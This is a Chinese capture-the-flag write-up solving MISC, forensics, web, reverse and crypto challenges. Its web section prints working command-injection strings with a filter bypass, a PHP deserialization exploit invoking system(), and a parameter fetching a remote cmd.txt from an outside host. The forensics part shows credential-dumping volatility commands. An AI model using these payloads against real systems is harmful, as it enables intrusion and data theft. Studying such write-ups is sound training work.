记一次CTF大赛

记一次CTF大赛

写在前面

💻随着大数据、人工智能的发展,人们步入了新的时代,逐渐走上科技的巅峰。
⚔科技是一把双刃剑,网络安全不容忽视,人们的隐私在大数据面前暴露无遗,账户被盗、资金损失、网络诈骗、隐私泄露,种种迹象表明,随着互联网的发展,网络安全需要引起人们的重视。
💂互联网安全从其本质上来讲就是互联网上的信息安全。从广义来说,凡是涉及到互联网上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。
👨‍👨‍👧‍👦网络安全需要一群网络安全技术人员的维护。而CTF,就是这些人技术竞技的比赛。

CTF

📚CTF(Capture The Flag),中文名夺旗赛

🆚网络安全人员之间进行竞技的一种比赛。

💯参赛团队之间通过进行攻防对抗等形式率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其它内容,并提交给主办方,从而夺取分数。

🚩为了方便称呼,将需要夺得的内容称为Flag

题解 WriteUp

一.MISC

1.好像隐藏了什么
图片,010editor改高度,送分题,秒解
答案:

1
CTF{wo_ai_xue_xi}

2.真假美猴王
压缩包伪加密,010editor改头部文件,送分题,秒解
答案:

1
CTF{WELCOME_TO_CTF}

3.MUSIC
音频,简单题,拿audacity打开,调成频谱图,能看见摩斯电码

1
--./--../-.-./-/..-./--./--../-.-./-/..-.

转换之后是GZCTFGZCTF
答案:

1
CTF{GZCTFGZCTF}

4.不想让小美知道
狗屎题,下载下来是个压缩包文件,解压,然后又一个压缩包,是伪加密,再解开又一个压缩包,然后暴力破解出密码3917,是小美的照片,小美真好看【笑】
然并卵,没用,直接把下载的文件用010editor打开,发现文件末尾有奇怪的符号,是Brainfuck编码,解码之后得到答案
答案:

1
CTF{fengyangzhenshuai_pro_max_ultra_jinianban}

5.mobil data
数据包文件,用010editor打开,直接搜索flag,后面的password的值就是答案,送分题

1
ffb7567a1d4f4abdffdb54e022f8facd

6.WaterMark
盲水印,送分题,秒解
答案:

1
CTF{wobuchiniurou}

7.Docx
无后缀文件,改后缀为docx,送分题,秒解
TEpDVEZ7V09TSElXQU5HTFVPQU5RVUFOREFTQUlHVUFOSlVOfQ==
Base64解码得到答案

1
CTF{WOSHIWANGLUOANQUANDASAIGUANJUN}

8.趣味111
找彩蛋,白给分,送分题 在首页往上滑即可找到

9.趣味222
略,送分题 (给出题组发一张照片即可)

1
flag:85C079FB-AC24-CBB7-2795-22FFEB411809

10.你是我的眼
盲文,白给分,送分题
答案:

1
CTF{A_person_without_faith_is_like_a_blind_man}

二.Forensics

1.内存取证
要提交用户名和密码,简单题,用volatility,执行以下命令

1
volatility.exe -flag.vmem --profile=Win7SP1x64 lsadump

2.初识取证
系统信息

1
volatility -f 1.vmem imageinfo

得到Win7SP1x64
主机名

1
volatility -f 1.vmem --profile Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet002\Control\ComputerName\ComputerName"

得到WIN-9FBAEH4UV8C
矿池ip和端口

1
volatility -f 1.vmem --profile=Win7SP1x64 netscan

得到·54.36.109.161:2222
恶意服务程序和

1
pid   volatility -f 1.vmem --profile=Win7SP1x64 pslist

得到svchost.exe 2588
答案:

1
flag{WIN-9FBAEH4UV8C+54.36.109.161:2222+svchost.exe+2588} 

3.电子取证
vmdk硬盘文件,用diskgenius打开里面,里面一堆文件,挨个看,里面有某出题人的学生推荐表【笑】
BitLocker 恢复密钥 450582-688215-629332-293161-548669-342650-588368-455521,用于小美.vhx硬盘文件的解密
lgh3607039915@#(虚拟机开机密码)
第一种65585668626E4E6F5A57357861575276626D63395A45646F63474E35516E426A65554A335756684F656D51794F586C6151304A7A576A4A6E65453171556D685A56305539base16base64
解密后yuanshenqidong=dGhpcyBpcyBwYXNzd29yZCBsZ2gxMjRhYWE=
第二种
64476870E69BB2637942706379427759E7BABF584E7A64323979E695915A4342735A3267784D6A52E59BBD685957453Dbase16base64
解密后dGhp曲cyBpcyBwY线XNzd29y救ZCBsZ2gxMjR国hYWE=
这两种都是一样的,然后再base64解码: this is password lgh124aaa
用密码解压小美.zip,得到docx,打开滑到最下面全选文字改颜色得到

1
flag{2024/4/20-16:23}

三.Web

1.宝宝巴士
序列化,秒了,可以用data,我嫌麻烦,直接文件直链

1
/?cmd=https://fs-im-kefu.7moor-fs1.com/ly/4d2c3f00-7d4c-11e5-af15-41bf63ae4ea0/1715818994643/cmd.txt&file=yuanshen.php&passwd=O:4:"Flag":1:{s:4:"file";s:12:"flag.php";}

答案:

1
flag{25779e3a-7aa1-42e5-8f79-7b701994df05}

2.我只是个输入框
没做出来【悲】

3.easy->alert
直接访问/woaichixigua.php,秒了
答案:

1
flag{cf8dace0-a30b-4359-ad0a-dfbeabb298e5}

4.easy->web

1
flag{小美我的小美}

5.签到题-Pro Max
狗屎题,视频的某一瞬间(2:03左右)的右上角会出现 flag{WELCOME},输到上面的框里就能出flag

6.ping

1
/?ip=0.0.0.0;a=g;tac$IFS$1fla$a.php

秒了
$IFS$1绕过空格判定,然后用cat会看不全,用tac即可

7.f12-Pro Max
略,群里教学视频里有答案

8.warm_up
两个php,第一关简单,略过,payload如下

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

第二关是FFFaalllggg.php,其中b=system('ls'),看文件,发现没有,../去父目录看,还没有,重复,在根目录找着了,flag.txtcat查看即可

9.f12pro
按F12直接出现,送分题

10.破绽,烧冻鸡翅
当前时间戳作为密码,与验证密码的时间戳相差不超过5秒,计算是输入的时间戳减去验证密码的时间戳小于5判定成功,如果密码输入9999999999,就恒小于5,账号admin,提交后,找响应标头

Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJnaWZ0IjoiTVpXR0NaMzNNUlJHS01CVEdKU0dDTEpTRzQyVEtMSlVHVTNETUxMQ0dGUVRDTEpSTVFZRElNQldIRVpUR09MQ0daNlE9PT09IiwidXNlcm5hbWUiOiJhZG1pbiJ9.3F5D1rOgtgzmkAgE1Sw6sbQRLUAFqjB2X1-3-AszH3o
将token经过JWT解析,得到MZWGCZ33MRRGKMBTGJSGCLJSG42TKLJUGU3DMLLCGFQTCLJRMQYDIMBWHEZTGOLCGZ6Q====再base32解析,得到结果

1
flag{dbe032da-2755-4566-b1a1-1d04069339b6}

11.经典小游戏
按F12查看源代码,找all.js,搜索flag,找到

1
2
3
if(number >= 520) {
alert("flag{a26425a8-e335-41ed-a83a-874e7891cf95}");
}

12.经典小游戏2
按 F12 打开开发者工具,切换到 Console 选项卡。修改 num 变量:
直接在控制台输入以下命令,将分数设为 520 并获取 flag。

1
2
3
4
5
6
7
8
9
num = 521;  // 设置分数为 521
fetch('/f.php')
.then(response => response.json())
.then(data => {
console.log(data.myVariable); // 输出 flag
})
.catch(error => {
console.error('There has been a problem with your fetch operation:', error);
});

然后在注释里找答案

13.abandon
序列化题,先执行ls命令,找到f123lag.php,然后cat查看。拿php写个序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class evil {
var $wo;
}
class index {
private $nana;
}
$evil_object = new evil();
$evil_object->wo = 'system(\'cat f123lag.php\');';
$index_object = new index();
$reflection = new ReflectionClass('index');
$nana_property = $reflection->getProperty('nana');
$nana_property->setAccessible(true);
$nana_property->setValue($index_object, $evil_object);
echo urlencode(serialize($index_object));
?>

得到序列化内容后传参给ctf,然后访问

1
?ctf=O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00nana%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A2%3A%22wo%22%3Bs%3A26%3A%22system%28%27cat+f123lag.php%27%29%3B%22%3B%7D%7D

然后得到

1
flag{1dcdc235-c182-4a85-9447-6e363a211dc5}

14.笨蛋总是掉眼泪

1
?a=%E5%A4%8D%E6%B4%BB%E5%90%A7&cc=0&f=system&neda=ls

得到woxihuanCHIxigua.php
然后再执行

1
?a=复活吧&cc=0&f=system&neda=cat woxihuanCHIxigua.php

按F12在注释里得到

1
flag{074342b7-a4de-44ac-ba65-75e9d76de07b}

15.经典小游戏3
F12进控制台,输入以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 找到所有goods元素
let goods = document.querySelectorAll('.goods');
// 删除所有goods元素
goods.forEach(item => item.remove());
// 手动触发游戏胜利逻辑
const selectLevel = document.querySelector('.selectLevel');
const chronoscopeNum = document.querySelector('.chronoscope').innerText;
const difficult = true;
const str = difficult ? '困难模式' : '';
const levelRecord = difficult ? 'king_difficult_level_record' : 'king_level_record';
const xhr = new XMLHttpRequest();
xhr.open('POST', '/ht.php');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = () => {
if (xhr.status === 200) {
const response = JSON.parse(xhr.responseText);
console.log('Flag:', response['message']);
alert('Flag: ' + response['message']);
} else {
console.error(`Request failed. Status code: ${xhr.status}`);
}
};
xhr.onerror = () => {
console.error('Error occurred during the request.');
};
xhr.send(`user-input=${encodeURIComponent(selectLevel.innerText)}`);
// 更新记录
const levelRecordArr = JSON.parse(localStorage.getItem(levelRecord));
levelRecordArr[selectLevel.getAttribute('index')]++;
localStorage.setItem(levelRecord, JSON.stringify(levelRecordArr));
// 提示胜利信息
alert(`恭喜你通过了${str}${selectLevel.innerText}\n用时${chronoscopeNum}秒`);

然后点击确定,flag就会出现

四.Reverse

1.还记得那句晚安嘛
IDA Pro找到
密文:a519593e01dba36bf344cd4b42c965995b3dd9961b1cfb462f430946b8ee73aa3200c0cf418192c8ca27aab009f7fe6a244df6576395a142d14dd9526f5cc694fd8f35d82b47f3a2e6e1210fe0915257
密钥:1234567890123456
送一个解密脚本:

1
2
3
4
5
from Crypto.Cipher import AES
key = b'1234567890123456'
en_text = bytes.fromhex('a519593e01dba36bf344cd4b42c965995b3dd9961b1cfb462f430946b8ee73aa3200c0cf418192c8ca27aab009f7fe6a244df6576395a142d14dd9526f5cc694fd8f35d82b47f3a2e6e1210fe0915257')
aes = AES.new(key, AES.MODE_ECB)
print(aes.decrypt(en_text))

直接解密得到答案:

1
flag{wen-jun-neng-you-ji-duo-chou--qia-si-yi-jiang-chun-shui-xiang-dong-liu

}

2.编码or加密?
群里视频教学有,自定义base64编码,简简单单,略

3.无法判断的瞬间
80480f0bf8a0bd10736f*********************************1f8a554a4b55ccab8a9c310
rc4解密得到ctfctfctf

1
flag{wu-wu-ying-yu-hao-nan}

4.Shellcode
执行一下即可,

1
flag{hai-shang-sheng-ming-yue—tian-ya-gong-ci-shi}

5.直到成为了回忆tea
密文:f9a7b5977502f9f8a99f5167c942c95eeb985b8114108fd9aca8b0b6fd70a843d5b7cda95761ca1bbd50f70536cf056c9216ac38eb72cae2752aacdbd22b1dc8
密钥:abcdefghhhhiiijj
正常解密即可,
答案:

1
flag{dai-dao-qiu-lai-jiu-yue-ba--wo-hua-kai-hou-bai-hua-sha}

6.可是我偏偏就是不想要转弯tls
T7bWTEeb+LtegHRFT/iZgLne6NWWj/iF+LuFO1i7TLBzOLWiw1is+HpFT/iewLJeOI82g1iy+HpFT/iB+1ib+1de+ApQOL82+1i7wLBzOIuQgId=
fk03deRKwHMYb84CWr1ZxzVSgD+t6qhmQGvaNI7j2Ap5uoP9El/insXOJLcUTBFy

7.客户端
IDA Pro打开然后直接搜索flag即可

8.那年夏天我和辽建的故事
IDA Pro打开,然后翻翻代码找到即可,白给分题,略

9.心
跟上题一样,yes白给分题,略

五.Crypto

1.嗷呜~~
阴阳怪气”编码,解码得到“嗷呜嗷呜”兽音编码,然后再解码
得到答案

1
flag{leng_xue_zhang__}

2.num
01248编码,也称云影密码4444102020408040802244184422222844
用0分割,然后每段相加,1-26=>A-Z,然后解出QBBDHDHw

1
2
3
4
5
6
7
8
9
10
a="4444102020408040802244184422222844"
s=a.split('0')
l=[]
print(s)
for i in s:
sum=0
for j in i:
sum+=eval(j)
l.append(chr(sum+64))
print(l)

答案:

1
ctf{QBBDHDHw}